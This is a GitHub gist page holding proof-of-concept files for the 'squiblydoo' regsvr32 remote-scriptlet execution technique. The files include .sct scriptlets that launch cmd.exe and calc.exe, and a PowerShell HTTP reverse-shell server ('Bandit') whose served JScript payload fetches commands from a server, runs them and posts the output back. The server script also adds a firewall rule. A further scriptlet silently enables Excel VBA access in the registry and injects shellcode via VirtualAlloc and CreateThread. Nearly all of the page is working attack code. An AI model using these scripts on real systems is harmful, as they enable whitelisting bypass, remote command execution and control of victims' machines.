Created
April 22, 2016 14:52
-
-
Save dave5623/a79ea7498a7d698fd1234c7dd6ca4adb to your computer and use it in GitHub Desktop.
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?XML version="1.0"?> | |
| <scriptlet> | |
| <registration | |
| progid="Empire" | |
| classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > | |
| <!-- Proof Of Concept - Casey Smith @subTee --> | |
| <script language="JScript"> | |
| <![CDATA[ | |
| var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); | |
| ]]> | |
| </script> | |
| </registration> | |
| </scriptlet> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?XML version="1.0"?> | |
| <scriptlet> | |
| <registration | |
| description="Bandit" | |
| progid="Bandit" | |
| version="1.00" | |
| classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}" | |
| > | |
| <!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll | |
| <!-- DFIR --> | |
| <!-- .sct files are downloaded and executed from a path like this --> | |
| <!-- Though, the name and extension are arbitary.. --> | |
| <!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct --> | |
| <!-- Based on current research, no registry keys are written, since call "uninstall" --> | |
| <!-- Proof Of Concept - Casey Smith @subTee --> | |
| <script language="JScript"> | |
| <![CDATA[ | |
| var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); | |
| ]]> | |
| </script> | |
| </registration> | |
| <public> | |
| <method name="Exec"></method> | |
| </public> | |
| <script language="JScript"> | |
| <![CDATA[ | |
| function Exec() | |
| { | |
| var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); | |
| } | |
| ]]> | |
| </script> | |
| </scriptlet> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| Bandit | |
| Author: Casey Smith @subTee | |
| License: BSD3-Clause | |
| .SYNOPSIS | |
| Simple Reverse Shell over HTTP. Execute Commands on Client. | |
| "regsvr32 /u /n /s /i:http://127.0.0.1/file.sct scrobj.dll" | |
| Listening Server IP Address | |
| For Python Version See https://github.com/Hood3dRob1n/JSRat-Py/blob/master/JSRat.py | |
| #> | |
| $Server = '127.0.0.1' #Listening IP. Change This. | |
| function Receive-Request { | |
| param( | |
| $Request | |
| ) | |
| $output = "" | |
| $size = $Request.ContentLength64 + 1 | |
| $buffer = New-Object byte[] $size | |
| do { | |
| $count = $Request.InputStream.Read($buffer, 0, $size) | |
| $output += $Request.ContentEncoding.GetString($buffer, 0, $count) | |
| } until($count -lt $size) | |
| $Request.InputStream.Close() | |
| write-host $output | |
| } | |
| $listener = New-Object System.Net.HttpListener | |
| $listener.Prefixes.Add('http://+:80/') | |
| netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null | |
| netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null | |
| $listener.Start() | |
| 'Listening ...' | |
| while ($true) { | |
| $context = $listener.GetContext() # blocks until request is received | |
| $request = $context.Request | |
| $response = $context.Response | |
| $hostip = $request.RemoteEndPoint | |
| #Use this for One-Liner Start | |
| if ($request.Url -match '/file.sct$' -and ($request.HttpMethod -eq "GET")) { | |
| $message = '<?XML version="1.0"?> | |
| <scriptlet> | |
| <registration | |
| description="Bandit" | |
| progid="Bandit" | |
| version="1.00" | |
| classid="{90001111-0000-0000-0000-0000FEEDACDC}" | |
| > | |
| <script language="JScript"> | |
| <![CDATA[ | |
| while(true) | |
| { | |
| try | |
| { | |
| //Expects to run behind a proxy... Deal with it. | |
| //Uncomment. | |
| w = new ActiveXObject("WScript.Shell"); | |
| //v = w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer"); | |
| //q = v.split("=")[1].split(";")[0]; | |
| h = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); | |
| //h.SetProxy(2,q); | |
| h.Open("GET","http://'+$Server+'/rat",false); | |
| h.Send(); | |
| c = h.ResponseText; | |
| r = new ActiveXObject("WScript.Shell").Exec(c); | |
| var so; | |
| while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()} | |
| p = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); | |
| //p.SetProxy(2,q); | |
| p.Open("POST","http://'+$Server+'/rat",false); | |
| p.Send(so); | |
| } | |
| catch(err) | |
| { | |
| continue; | |
| } | |
| } | |
| ]]> | |
| </script> | |
| </registration> | |
| </scriptlet> | |
| ' | |
| } | |
| if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { | |
| Receive-Request($request) | |
| } | |
| if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) { | |
| $response.ContentType = 'text/plain' | |
| $message = Read-Host "JS $hostip>" | |
| } | |
| [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) | |
| $response.ContentLength64 = $buffer.length | |
| $output = $response.OutputStream | |
| $output.Write($buffer, 0, $buffer.length) | |
| $output.Close() | |
| } | |
| $listener.Stop() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?XML version="1.0"?> | |
| <scriptlet> | |
| <registration | |
| progid="CalcShellcode" | |
| classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > | |
| <!-- Proof Of Concept - Casey Smith @subTee --> | |
| <!-- Orginal Shellcode Example : https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/ --> | |
| <script language="JScript"> | |
| <![CDATA[ | |
| var objExcel = new ActiveXObject("Excel.Application"); | |
| objExcel.Visible = false; | |
| var WshShell = new ActiveXObject("WScript.Shell"); | |
| var Application_Version = objExcel.Version;//Auto-Detect Version | |
| var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM"; | |
| WshShell.RegWrite(strRegPath, 1, "REG_DWORD"); | |
| var objWorkbook = objExcel.Workbooks.Add(); | |
| var xlmodule = objWorkbook.VBProject.VBComponents.Add(1); | |
| strCode = '#If Vba7 Then\n' | |
| strCode += 'Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr\n' | |
| strCode += 'Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr\n' | |
| strCode += 'Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr\n' | |
| strCode += '#Else\n' | |
| strCode += 'Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long\n' | |
| strCode += 'Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long\n' | |
| strCode += 'Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long\n' | |
| strCode += '#EndIf\n' | |
| strCode += '\n' | |
| strCode += 'Sub ExecShell()\n' | |
| strCode += ' Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long\n' | |
| strCode += '#If Vba7 Then\n' | |
| strCode += ' Dim Xlbufvetp As LongPtr\n' | |
| strCode += '#Else\n' | |
| strCode += ' Dim Xlbufvetp As Long\n' | |
| strCode += '#EndIf\n' | |
| strCode += ' Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _\n' | |
| strCode += '139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _\n' | |
| strCode += '13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _\n' | |
| strCode += '116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _\n' | |
| strCode += '214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _\n' | |
| strCode += '36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _\n' | |
| strCode += '139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _\n' | |
| strCode += '235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _\n' | |
| strCode += '224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _\n' | |
| strCode += '187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)\n' | |
| strCode += ' Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)\n' | |
| strCode += ' For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)\n' | |
| strCode += ' Wyzayxya = Hyeyhafxp(Zolde)\n' | |
| strCode += ' Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)\n' | |
| strCode += ' Next Zolde\n' | |
| strCode += ' Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)\n' | |
| strCode += 'End Sub\n' | |
| xlmodule.CodeModule.AddFromString(strCode); | |
| objExcel.Run("ExecShell"); | |
| objExcel.DisplayAlerts = false; | |
| objWorkbook.Close(false); | |
| ]]> | |
| </script> | |
| </registration> | |
| </scriptlet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment